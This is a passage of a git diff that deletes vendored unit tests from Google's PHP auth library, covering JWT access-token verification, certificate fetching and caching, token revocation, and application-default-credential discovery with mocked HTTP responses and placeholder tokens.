$this->prophesize('Psr\Cache\CacheItemPoolInterface'); - $this->jwt = $this->prophesize('Firebase\JWT\JWT'); - $this->token = 'foobar'; - $this->publicKey = 'barfoo'; - - $this->payload = [ - 'iat' => time(), - 'exp' => time() + 30, - 'name' => 'foo', - 'iss' => AccessToken::OAUTH2_ISSUER_HTTPS - ]; - } - - /** - * @dataProvider verifyCalls - */ - public function testVerify( - $payload, - $expected, - $audience = null, - $exception = null, - $certsLocation = null, - $issuer = null - ) { - $item = $this->prophesize('Psr\Cache\CacheItemInterface'); - $item->get()->willReturn([ - 'keys' => [ - [ - 'kid' => 'ddddffdfd', - 'e' => 'AQAB', - 'kty' => 'RSA', - 'alg' => $certsLocation ? 'ES256' : 'RS256', - 'n' => $this->publicKey, - 'use' => 'sig' - ] - ] - ]); - - $cacheKey = 'google_auth_certs_cache|' . - ($certsLocation ? sha1($certsLocation) : 'federated_signon_certs_v3'); - $this->cache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($item->reveal()); - - $token = new AccessTokenStub( - null, - $this->cache->reveal() - ); - - $token->mocks['decode'] = function ($token, $publicKey, $allowedAlgs) use ($payload, $exception) { - $this->assertEquals($this->token, $token); - - if ($exception) { - throw $exception; - } - - return (object) $payload; - }; - - $e = null; - $res = false; - try { - $res = $token->verify($this->token, [ - 'audience' => $audience, - 'issuer' => $issuer, - 'certsLocation' => $certsLocation, - 'throwException' => (bool) $exception, - ]); - } catch (\Exception $e) { - } - - $this->assertEquals($expected, $res); - $this->assertEquals($exception, $e); - } - - public function verifyCalls() - { - $this->setUp(); - - if (class_exists('Firebase\JWT\JWT')) { - $expiredException = 'Firebase\JWT\ExpiredException'; - $sigInvalidException = 'Firebase\JWT\SignatureInvalidException'; - } else { - $expiredException = 'ExpiredException'; - $sigInvalidException = 'SignatureInvalidException'; - } - - return [ - [ - $this->payload, - $this->payload, - ], [ - $this->payload + [ - 'aud' => 'foo' - ], - $this->payload + [ - 'aud' => 'foo' - ], - 'foo' - ], [ - $this->payload + [ - 'aud' => 'foo' - ], - false, - 'bar' - ], [ - [ - 'iss' => 'invalid' - ] + $this->payload, - false - ], [ - [ - 'iss' => 'baz' - ] + $this->payload, - [ - 'iss' => 'baz' - ] + $this->payload, - null, - null, - null, - 'baz' - ], [ - $this->payload, - false, - null, - new $expiredException('expired!') - ], [ - $this->payload, - false, - null, - new $sigInvalidException('invalid!') - ], [ - $this->payload, - false, - null, - new \DomainException('expired!') - ], [ - [ - 'iss' => AccessToken::IAP_ISSUER - ] + $this->payload, [ - 'iss' => AccessToken::IAP_ISSUER - ] + $this->payload, - null, - null, - AccessToken::IAP_CERT_URL - ], [ - [ - 'iss' => 'invalid', - ] + $this->payload, - false, - null, - null, - AccessToken::IAP_CERT_URL - ], [ - [ - 'iss' => AccessToken::IAP_ISSUER, - ] + $this->payload + [ - 'aud' => 'foo' - ], - false, - 'bar', - null, - AccessToken::IAP_CERT_URL - ], [ - [ - 'iss' => 'baz' - ] + $this->payload, - false, - null, - null, - AccessToken::IAP_CERT_URL - ], [ - [ - 'iss' => 'baz' - ] + $this->payload, [ - 'iss' => 'baz' - ] + $this->payload, - null, - null, - AccessToken::IAP_CERT_URL, - 'baz' - ] - ]; - } - - public function testEsVerifyEndToEnd() - { - if (!$jwt = getenv('IAP_IDENTITY_TOKEN')) { - $this->markTestSkipped('Set the IAP_IDENTITY_TOKEN env var'); - } - - $token = new AccessTokenStub(); - $token->mocks['decode'] = function ($token, $publicKey, $allowedAlgs) { - // Skip expired validation - $jwt = SimpleJWT::decode( - $token, - $publicKey, - $allowedAlgs, - null, - ['exp'] - ); - return $jwt->getClaims(); - }; - - // Use Iap Cert URL - $payload = $token->verify($jwt, [ - 'certsLocation' => AccessToken::IAP_CERT_URL, - 'throwException' => true, - 'issuer' => 'https://cloud.google.com/iap', - ]); - - $this->assertNotFalse($payload); - $this->assertArrayHasKey('iss', $payload); - $this->assertEquals('https://cloud.google.com/iap', $payload['iss']); - } - - public function testGetCertsForIap() - { - $token = new AccessToken(); - $reflector = new \ReflectionObject($token); - $cacheKeyMethod = $reflector->getMethod('getCacheKeyFromCertLocation'); - $cacheKeyMethod->setAccessible(true); - $getCertsMethod = $reflector->getMethod('getCerts'); - $getCertsMethod->setAccessible(true); - $cacheKey = $cacheKeyMethod->invoke($token, AccessToken::IAP_CERT_URL); - $certs = $getCertsMethod->invoke( - $token, - AccessToken::IAP_CERT_URL, - $cacheKey - ); - $this->assertTrue(is_array($certs)); - $this->assertEquals(5, count($certs)); - } - - public function testRetrieveCertsFromLocationLocalFile() - { - $certsLocation = __DIR__ . '/fixtures/federated-certs.json'; - $certsData = json_decode(file_get_contents($certsLocation), true); - - $item = $this->prophesize('Psr\Cache\CacheItemInterface'); - $item->get() - ->shouldBeCalledTimes(1) - ->willReturn(null); - $item->set($certsData) - ->shouldBeCalledTimes(1); - $item->expiresAt(Argument::type('\DateTime')) - ->shouldBeCalledTimes(1); - - $this->cache->getItem('google_auth_certs_cache|' . sha1($certsLocation)) - ->shouldBeCalledTimes(1) - ->willReturn($item->reveal()); - - $this->cache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalledTimes(1); - - $token = new AccessTokenStub( - null, - $this->cache->reveal() - ); - - $token->mocks['decode'] = function ($token, $publicKey, $allowedAlgs) { - $this->assertEquals($this->token, $token); - $this->assertEquals(['RS256'], $allowedAlgs); - - return (object) $this->payload; - }; - - $token->verify($this->token, [ - 'certsLocation' => $certsLocation - ]); - } - - /** - * @expectedException InvalidArgumentException - * @expectedExceptionMessage Failed to retrieve verification certificates from path - */ - public function testRetrieveCertsFromLocationLocalFileInvalidFilePath() - { - $certsLocation = __DIR__ . '/fixtures/federated-certs-does-not-exist.json'; - - $item = $this->prophesize('Psr\Cache\CacheItemInterface'); - $item->get() - ->shouldBeCalledTimes(1) - ->willReturn(null); - - $this->cache->getItem('google_auth_certs_cache|' . sha1($certsLocation)) - ->shouldBeCalledTimes(1) - ->willReturn($item->reveal()); - - $token = new AccessTokenStub( - null, - $this->cache->reveal() - ); - - $token->verify($this->token, [ - 'certsLocation' => $certsLocation - ]); - } - - /** - * @expectedException InvalidArgumentException - * @expectedExceptionMessage federated sign-on certs expects "keys" to be set - */ - public function testRetrieveCertsInvalidData() - { - $item = $this->prophesize('Psr\Cache\CacheItemInterface'); - $item->get() - ->shouldBeCalledTimes(1) - ->willReturn('{}'); - - $this->cache->getItem('google_auth_certs_cache|federated_signon_certs_v3') - ->shouldBeCalledTimes(1) - ->willReturn($item->reveal()); - - $token = new AccessTokenStub( - null, - $this->cache->reveal() - ); - - $token->verify($this->token); - } - - /** - * @expectedException InvalidArgumentException - * @expectedExceptionMessage federated sign-on certs expects "keys" to be set - */ - public function testRetrieveCertsFromLocationLocalFileInvalidFileData() - { - $temp = tmpfile(); - fwrite($temp, '{}'); - $certsLocation = stream_get_meta_data($temp)['uri']; - - $item = $this->prophesize('Psr\Cache\CacheItemInterface'); - $item->get() - ->shouldBeCalledTimes(1) - ->willReturn(null); - - $this->cache->getItem('google_auth_certs_cache|' . sha1($certsLocation)) - ->shouldBeCalledTimes(1) - ->willReturn($item->reveal()); - - $token = new AccessTokenStub( - null, - $this->cache->reveal() - ); - - $token->verify($this->token, [ - 'certsLocation' => $certsLocation - ]); - } - - public function testRetrieveCertsFromLocationRemote() - { - $certsLocation = __DIR__ . '/fixtures/federated-certs.json'; - $certsJson = file_get_contents($certsLocation); - $certsData = json_decode($certsJson, true); - - $httpHandler = function (RequestInterface $request) use ($certsJson) { - $this->assertEquals(AccessToken::FEDERATED_SIGNON_CERT_URL, (string) $request->getUri()); - $this->assertEquals('GET', $request->getMethod()); - - return new Response(200, [], $certsJson); - }; - - $item = $this->prophesize('Psr\Cache\CacheItemInterface'); - $item->get() - ->shouldBeCalledTimes(1) - ->willReturn(null); - $item->set($certsData) - ->shouldBeCalledTimes(1); - $item->expiresAt(Argument::type('\DateTime')) - ->shouldBeCalledTimes(1); - - $this->cache->getItem('google_auth_certs_cache|federated_signon_certs_v3') - ->shouldBeCalledTimes(1) - ->willReturn($item->reveal()); - - $this->cache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalledTimes(1); - - $token = new AccessTokenStub( - $httpHandler, - $this->cache->reveal() - ); - - $token->mocks['decode'] = function ($token, $publicKey, $allowedAlgs) { - $this->assertEquals($this->token, $token); - $this->assertEquals(['RS256'], $allowedAlgs); - - return (object) $this->payload; - }; - - $token->verify($this->token); - } - - /** - * @expectedException RuntimeException - * @expectedExceptionMessage bad news guys - */ - public function testRetrieveCertsFromLocationRemoteBadRequest() - { - $badBody = 'bad news guys'; - - $httpHandler = function (RequestInterface $request) use ($badBody) { - return new Response(500, [], $badBody); - }; - - $item = $this->prophesize('Psr\Cache\CacheItemInterface'); - $item->get() - ->shouldBeCalledTimes(1) - ->willReturn(null); - - $this->cache->getItem('google_auth_certs_cache|federated_signon_certs_v3') - ->shouldBeCalledTimes(1) - ->willReturn($item->reveal()); - - $token = new AccessTokenStub( - $httpHandler, - $this->cache->reveal() - ); - - $token->verify($this->token); - } - - /** - * @dataProvider revokeTokens - */ - public function testRevoke($input, $expected) - { - $httpHandler = function (RequestInterface $request) use ($expected) { - $this->assertEquals('no-store', $request->getHeaderLine('Cache-Control')); - $this->assertEquals('application/x-www-form-urlencoded', $request->getHeaderLine('Content-Type')); - $this->assertEquals('POST', $request->getMethod()); - $this->assertEquals(AccessToken::OAUTH2_REVOKE_URI, (string) $request->getUri()); - $this->assertEquals('token=' . $expected, (string) $request->getBody()); - - return new Response(200); - }; - - $token = new AccessToken($httpHandler); - - $this->assertTrue($token->revoke($input)); - } - - public function revokeTokens() - { - $this->setUp(); - - return [ - [ - $this->token, - $this->token - ], [ - ['refresh_token' => $this->token, 'access_token' => 'other thing'], - $this->token - ], [ - ['access_token' => $this->token], - $this->token - ] - ]; - } - - public function testRevokeFails() - { - $httpHandler = function (RequestInterface $request) { - return new Response(500); - }; - - $token = new AccessToken($httpHandler); - - $this->assertFalse($token->revoke($this->token)); - } -} - -//@codingStandardsIgnoreStart -class AccessTokenStub extends AccessToken -{ - public $mocks = []; - - protected function callJwtStatic($method, array $args = []) - { - return isset($this->mocks[$method]) - ? call_user_func_array($this->mocks[$method], $args) - : parent::callJwtStatic($method, $args); - } - - protected function callSimpleJwtDecode(array $args = []) - { - if (isset($this->mocks['decode'])) { - $claims = call_user_func_array($this->mocks['decode'], $args); - return new SimpleJWT(null, (array) $claims); - } - - return parent::callSimpleJwtDecode($args); - } -} -//@codingStandardsIgnoreEnd diff --git a/vendor/google/auth/tests/ApplicationDefaultCredentialsTest.php b/vendor/google/auth/tests/ApplicationDefaultCredentialsTest.php deleted file mode 100644 index ce0d20bdf8..0000000000 --- a/vendor/google/auth/tests/ApplicationDefaultCredentialsTest.php +++ /dev/null @@ -1,859 +0,0 @@ -originalHome = getenv('HOME'); - } - - protected function tearDown() - { - if ($this->originalHome != getenv('HOME')) { - putenv('HOME=' . $this->originalHome); - } - putenv(ServiceAccountCredentials::ENV_VAR); // removes it from - } - - /** - * @expectedException DomainException - */ - public function testIsFailsEnvSpecifiesNonExistentFile() - { - $keyFile = __DIR__ . '/fixtures' . '/does-not-exist-private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - ApplicationDefaultCredentials::getCredentials('a scope'); - } - - public function testLoadsOKIfEnvSpecifiedIsValid() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - $this->assertNotNull( - ApplicationDefaultCredentials::getCredentials('a scope') - ); - } - - public function testLoadsDefaultFileIfPresentAndEnvVarIsNotSet() - { - putenv('HOME=' . __DIR__ . '/fixtures'); - $this->assertNotNull( - ApplicationDefaultCredentials::getCredentials('a scope') - ); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfNotOnGceAndNoDefaultFileFound() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - // simulate not being GCE and retry attempts by returning multiple 500s - $httpHandler = getHandler([ - buildResponse(500), - buildResponse(500), - buildResponse(500) - ]); - - ApplicationDefaultCredentials::getCredentials('a scope', $httpHandler); - } - - public function testSuccedsIfNoDefaultFilesButIsOnGCE() - { - putenv('HOME'); - - $wantedTokens = [ - 'access_token' => '1/abdef1234567890', - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - $jsonTokens = json_encode($wantedTokens); - - // simulate the response from GCE. - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($jsonTokens)), - ]); - - $this->assertInstanceOf( - 'Google\Auth\Credentials\GCECredentials', - ApplicationDefaultCredentials::getCredentials('a scope', $httpHandler) - ); - } -} - -class ADCDefaultScopeTest extends TestCase -{ - /** @runInSeparateProcess */ - public function testGceCredentials() - { - putenv('HOME'); - - $jsonTokens = json_encode(['access_token' => 'abc']); - - $creds = ApplicationDefaultCredentials::getCredentials( - null, // $scope - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($jsonTokens)), - ]), // $httpHandler - null, // $cacheConfig - null, // $cache - null, // $quotaProject - 'a+default+scope' // $defaultScope - ); - - $this->assertInstanceOf( - 'Google\Auth\Credentials\GCECredentials', - $creds - ); - - $uriProperty = (new ReflectionClass($creds))->getProperty('tokenUri'); - $uriProperty->setAccessible(true); - - // used default scope - $tokenUri = $uriProperty->getValue($creds); - $this->assertContains('a+default+scope', $tokenUri); - - $creds = ApplicationDefaultCredentials::getCredentials( - 'a+user+scope', // $scope - getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($jsonTokens)), - ]), // $httpHandler - null, // $cacheConfig - null, // $cache - null, // $quotaProject - 'a+default+scope' // $defaultScope - ); - - // did not use default scope - $tokenUri = $uriProperty->getValue($creds); - $this->assertContains('a+user+scope', $tokenUri); - } - - /** @runInSeparateProcess */ - public function testUserRefreshCredentials() - { - putenv('HOME=' . __DIR__ . '/fixtures2'); - - $creds = ApplicationDefaultCredentials::getCredentials( - null, // $scope - null, // $httpHandler - null, // $cacheConfig - null, // $cache - null, // $quotaProject - 'a default scope' // $defaultScope - ); - - $this->assertInstanceOf( - 'Google\Auth\Credentials\UserRefreshCredentials', - $creds - ); - - $authProperty = (new ReflectionClass($creds))->getProperty('auth'); - $authProperty->setAccessible(true); - - // used default scope - $auth = $authProperty->getValue($creds); - $this->assertEquals('a default scope', $auth->getScope()); - - $creds = ApplicationDefaultCredentials::getCredentials( - 'a user scope', // $scope - null, // $httpHandler - null, // $cacheConfig - null, // $cache - null, // $quotaProject - 'a default scope' // $defaultScope - ); - - // did not use default scope - $auth = $authProperty->getValue($creds); - $this->assertEquals('a user scope', $auth->getScope()); - } - - /** @runInSeparateProcess */ - public function testServiceAccountCredentials() - { - putenv('HOME=' . __DIR__ . '/fixtures'); - - $creds = ApplicationDefaultCredentials::getCredentials( - null, // $scope - null, // $httpHandler - null, // $cacheConfig - null, // $cache - null, // $quotaProject - 'a default scope' // $defaultScope - ); - - $this->assertInstanceOf( - 'Google\Auth\Credentials\ServiceAccountCredentials', - $creds - ); - - $authProperty = (new ReflectionClass($creds))->getProperty('auth'); - $authProperty->setAccessible(true); - - // did not use default scope - $auth = $authProperty->getValue($creds); - $this->assertEquals('', $auth->getScope()); - - $creds = ApplicationDefaultCredentials::getCredentials( - 'a user scope', // $scope - null, // $httpHandler - null, // $cacheConfig - null, // $cache - null, // $quotaProject - 'a default scope' // $defaultScope - ); - - // used user scope - $auth = $authProperty->getValue($creds); - $this->assertEquals('a user scope', $auth->getScope()); - } - - /** @runInSeparateProcess */ - public function testDefaultScopeArray() - { - putenv('HOME=' . __DIR__ . '/fixtures2'); - - $creds = ApplicationDefaultCredentials::getCredentials( - null, // $scope - null, // $httpHandler - null, // $cacheConfig - null, // $cache - null, // $quotaProject - ['onescope', 'twoscope'] // $defaultScope - ); - - $authProperty = (new ReflectionClass($creds))->getProperty('auth'); - $authProperty->setAccessible(true); - - // used default scope - $auth = $authProperty->getValue($creds); - $this->assertEquals('onescope twoscope', $auth->getScope()); - } -} - -class ADCGetMiddlewareTest extends TestCase -{ - private $originalHome; - - protected function setUp() - { - $this->originalHome = getenv('HOME'); - } - - protected function tearDown() - { - if ($this->originalHome != getenv('HOME')) { - putenv('HOME=' . $this->originalHome); - } - putenv(ServiceAccountCredentials::ENV_VAR); // removes it if assigned - } - - /** - * @expectedException DomainException - */ - public function testIsFailsEnvSpecifiesNonExistentFile() - { - $keyFile = __DIR__ . '/fixtures' . '/does-not-exist-private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - ApplicationDefaultCredentials::getMiddleware('a scope'); - } - - public function testLoadsOKIfEnvSpecifiedIsValid() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - $this->assertNotNull(ApplicationDefaultCredentials::getMiddleware('a scope')); - } - - public function testLoadsDefaultFileIfPresentAndEnvVarIsNotSet() - { - putenv('HOME=' . __DIR__ . '/fixtures'); - $this->assertNotNull(ApplicationDefaultCredentials::getMiddleware('a scope')); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfNotOnGceAndNoDefaultFileFound() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - - // simulate not being GCE and retry attempts by returning multiple 500s - $httpHandler = getHandler([ - buildResponse(500), - buildResponse(500), - buildResponse(500) - ]); - - ApplicationDefaultCredentials::getMiddleware('a scope', $httpHandler); - } - - public function testWithCacheOptions() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - - $httpHandler = getHandler([ - buildResponse(200), - ]); - - $cacheOptions = []; - $cachePool = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - - $middleware = ApplicationDefaultCredentials::getMiddleware( - 'a scope', - $httpHandler, - $cacheOptions, - $cachePool->reveal() - ); - } - - public function testSuccedsIfNoDefaultFilesButIsOnGCE() - { - $wantedTokens = [ - 'access_token' => '1/abdef1234567890', - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - $jsonTokens = json_encode($wantedTokens); - - // simulate the response from GCE. - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($jsonTokens)), - ]); - - $this->assertNotNull(ApplicationDefaultCredentials::getMiddleware('a scope', $httpHandler)); - } - - /** - * @expectedException DomainException - */ - public function testOnGceCacheWithHit() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - - $mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $mockCacheItem->isHit() - ->willReturn(true); - $mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn(false); - - $mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - $mockCache->getItem(GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(1) - ->willReturn($mockCacheItem->reveal()); - - ApplicationDefaultCredentials::getMiddleware( - 'a scope', - null, - null, - $mockCache->reveal() - ); - } - - public function testOnGceCacheWithoutHit() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - - $gceIsCalled = false; - $dummyHandler = function ($request) use (&$gceIsCalled) { - $gceIsCalled = true; - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - }; - $mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $mockCacheItem->isHit() - ->willReturn(false); - $mockCacheItem->set(true) - ->shouldBeCalledTimes(1); - $mockCacheItem->expiresAfter(1500) - ->shouldBeCalledTimes(1); - - $mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - $mockCache->getItem(GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(2) - ->willReturn($mockCacheItem->reveal()); - $mockCache->save($mockCacheItem->reveal()) - ->shouldBeCalled(); - - $creds = ApplicationDefaultCredentials::getMiddleware( - 'a scope', - $dummyHandler, - null, - $mockCache->reveal() - ); - - $this->assertTrue($gceIsCalled); - } - - public function testOnGceCacheWithOptions() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - - $prefix = 'test_prefix_'; - $lifetime = '70707'; - - $gceIsCalled = false; - $dummyHandler = function ($request) use (&$gceIsCalled) { - $gceIsCalled = true; - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - }; - $mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $mockCacheItem->isHit() - ->willReturn(false); - $mockCacheItem->set(true) - ->shouldBeCalledTimes(1); - $mockCacheItem->expiresAfter($lifetime) - ->shouldBeCalledTimes(1); - - $mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - $mockCache->getItem($prefix . GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(2) - ->willReturn($mockCacheItem->reveal()); - $mockCache->save($mockCacheItem->reveal()) - ->shouldBeCalled(); - - $creds = ApplicationDefaultCredentials::getMiddleware( - 'a scope', - $dummyHandler, - ['gce_prefix' => $prefix, 'gce_lifetime' => $lifetime], - $mockCache->reveal() - ); - - $this->assertTrue($gceIsCalled); - } -} - -class ADCGetCredentialsWithTargetAudienceTest extends TestCase -{ - private $originalHome; - private $targetAudience = 'a target audience'; - - protected function setUp() - { - $this->originalHome = getenv('HOME'); - } - - protected function tearDown() - { - if ($this->originalHome != getenv('HOME')) { - putenv('HOME=' . $this->originalHome); - } - putenv(ServiceAccountCredentials::ENV_VAR); // removes environment variable - } - - /** - * @expectedException DomainException - */ - public function testIsFailsEnvSpecifiesNonExistentFile() - { - $keyFile = __DIR__ . '/fixtures' . '/does-not-exist-private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - ApplicationDefaultCredentials::getIdTokenCredentials($this->targetAudience); - } - - public function testLoadsOKIfEnvSpecifiedIsValid() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - ApplicationDefaultCredentials::getIdTokenCredentials($this->targetAudience); - } - - public function testLoadsDefaultFileIfPresentAndEnvVarIsNotSet() - { - putenv('HOME=' . __DIR__ . '/fixtures'); - ApplicationDefaultCredentials::getIdTokenCredentials($this->targetAudience); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfNotOnGceAndNoDefaultFileFound() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - - // simulate not being GCE and retry attempts by returning multiple 500s - $httpHandler = getHandler([ - buildResponse(500), - buildResponse(500), - buildResponse(500) - ]); - - ApplicationDefaultCredentials::getIdTokenCredentials( - $this->targetAudience, - $httpHandler - ); - } - - public function testWithCacheOptions() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - - $httpHandler = getHandler([ - buildResponse(200), - ]); - - $cacheOptions = []; - $cachePool = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - - $credentials = ApplicationDefaultCredentials::getIdTokenCredentials( - $this->targetAudience, - $httpHandler, - $cacheOptions, - $cachePool->reveal() - ); - - $this->assertInstanceOf('Google\Auth\FetchAuthTokenCache', $credentials); - } - - public function testSuccedsIfNoDefaultFilesButIsOnGCE() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - $wantedTokens = [ - 'access_token' => '1/abdef1234567890', - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - $jsonTokens = json_encode($wantedTokens); - - // simulate the response from GCE. - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($jsonTokens)), - ]); - - $credentials = ApplicationDefaultCredentials::getIdTokenCredentials( - $this->targetAudience, - $httpHandler - ); - - $this->assertInstanceOf( - 'Google\Auth\Credentials\GCECredentials', - $credentials - ); - } -} - -class ADCGetCredentialsWithQuotaProjectTest extends TestCase -{ - private $originalHome; - private $quotaProject = 'a-quota-project'; - - protected function setUp() - { - $this->originalHome = getenv('HOME'); - } - - protected function tearDown() - { - if ($this->originalHome != getenv('HOME')) { - putenv('HOME=' . $this->originalHome); - } - putenv(ServiceAccountCredentials::ENV_VAR); // removes environment variable - } - - public function testWithServiceAccountCredentialsAndExplicitQuotaProject() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - - $credentials = ApplicationDefaultCredentials::getCredentials( - null, - null, - null, - null, - $this->quotaProject - ); - - $this->assertInstanceOf( - 'Google\Auth\Credentials\ServiceAccountCredentials', - $credentials - ); - - $this->assertEquals( - $this->quotaProject, - $credentials->getQuotaProject() - ); - } - - public function testGetCredentialsUtilizesQuotaProjectInKeyFile() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - - $credentials = ApplicationDefaultCredentials::getCredentials(); - - $this->assertEquals( - 'test_quota_project', - $credentials->getQuotaProject() - ); - } - - public function testWithFetchAuthTokenCacheAndExplicitQuotaProject() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - - $httpHandler = getHandler([ - buildResponse(200), - ]); - - $cacheOptions = []; - $cachePool = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - - $credentials = ApplicationDefaultCredentials::getCredentials( - null, - $httpHandler, - $cacheOptions, - $cachePool->reveal(), - $this->quotaProject - ); - - $this->assertInstanceOf('Google\Auth\FetchAuthTokenCache', $credentials); - - $this->assertEquals( - $this->quotaProject, - $credentials->getQuotaProject() - ); - } - - public function testWithGCECredentials() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - $wantedTokens = [ - 'access_token' => '1/abdef1234567890', - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - $jsonTokens = json_encode($wantedTokens); - - // simulate the response from GCE. - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($jsonTokens)), - ]); - - $credentials = ApplicationDefaultCredentials::getCredentials( - null, - $httpHandler, - null, - null, - $this->quotaProject - ); - - $this->assertInstanceOf( - 'Google\Auth\Credentials\GCECredentials', - $credentials - ); - - $this->assertEquals( - $this->quotaProject, - $credentials->getQuotaProject() - ); - } -} - -class ADCGetCredentialsAppEngineTest extends BaseTest -{ - private $originalHome; - private $originalServiceAccount; - private $targetAudience = 'a target audience'; - - protected function setUp() - { - // set home to be somewhere else - $this->originalHome = getenv('HOME'); - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - - // remove service account path - $this->originalServiceAccount = getenv(ServiceAccountCredentials::ENV_VAR); - putenv(ServiceAccountCredentials::ENV_VAR); - } - - protected function tearDown() - { - // removes it if assigned - putenv('HOME=' . $this->originalHome); - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $this->originalServiceAccount); - putenv('GAE_INSTANCE'); - } - - /** - * @runInSeparateProcess - */ - public function testAppEngineStandard() - { - $_SERVER['SERVER_SOFTWARE'] = 'Google App Engine'; - $this->assertInstanceOf( - 'Google\Auth\Credentials\AppIdentityCredentials', - ApplicationDefaultCredentials::getCredentials() - ); - } - - /** - * @runInSeparateProcess - */ - public function testAppEngineFlexible() - { - $_SERVER['SERVER_SOFTWARE'] = 'Google App Engine'; - putenv('GAE_INSTANCE=aef-default-20180313t154438'); - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - ]); - $this->assertInstanceOf( - 'Google\Auth\Credentials\GCECredentials', - ApplicationDefaultCredentials::getCredentials(null, $httpHandler) - ); - } - - /** - * @runInSeparateProcess - */ - public function testAppEngineFlexibleIdToken() - { - $_SERVER['SERVER_SOFTWARE'] = 'Google App Engine'; - putenv('GAE_INSTANCE=aef-default-20180313t154438'); - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - ]); - $creds = ApplicationDefaultCredentials::getIdTokenCredentials( - $this->targetAudience, - $httpHandler - ); - $this->assertInstanceOf( - 'Google\Auth\Credentials\GCECredentials', - $creds - ); - } -} - -// @todo consider a way to DRY this and above class up -class ADCGetSubscriberTest extends BaseTest -{ - private $originalHome; - - protected function setUp() - { - $this->onlyGuzzle5(); - - $this->originalHome = getenv('HOME'); - } - - protected function tearDown() - { - if ($this->originalHome != getenv('HOME')) { - putenv('HOME=' . $this->originalHome); - } - putenv(ServiceAccountCredentials::ENV_VAR); // removes it if assigned - } - - /** - * @expectedException DomainException - */ - public function testIsFailsEnvSpecifiesNonExistentFile() - { - $keyFile = __DIR__ . '/fixtures' . '/does-not-exist-private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - ApplicationDefaultCredentials::getSubscriber('a scope'); - } - - public function testLoadsOKIfEnvSpecifiedIsValid() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - $this->assertNotNull(ApplicationDefaultCredentials::getSubscriber('a scope')); - } - - public function testLoadsDefaultFileIfPresentAndEnvVarIsNotSet() - { - putenv('HOME=' . __DIR__ . '/fixtures'); - $this->assertNotNull(ApplicationDefaultCredentials::getSubscriber('a scope')); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfNotOnGceAndNoDefaultFileFound() - { - putenv('HOME=' . __DIR__ . '/not_exist_fixtures'); - - // 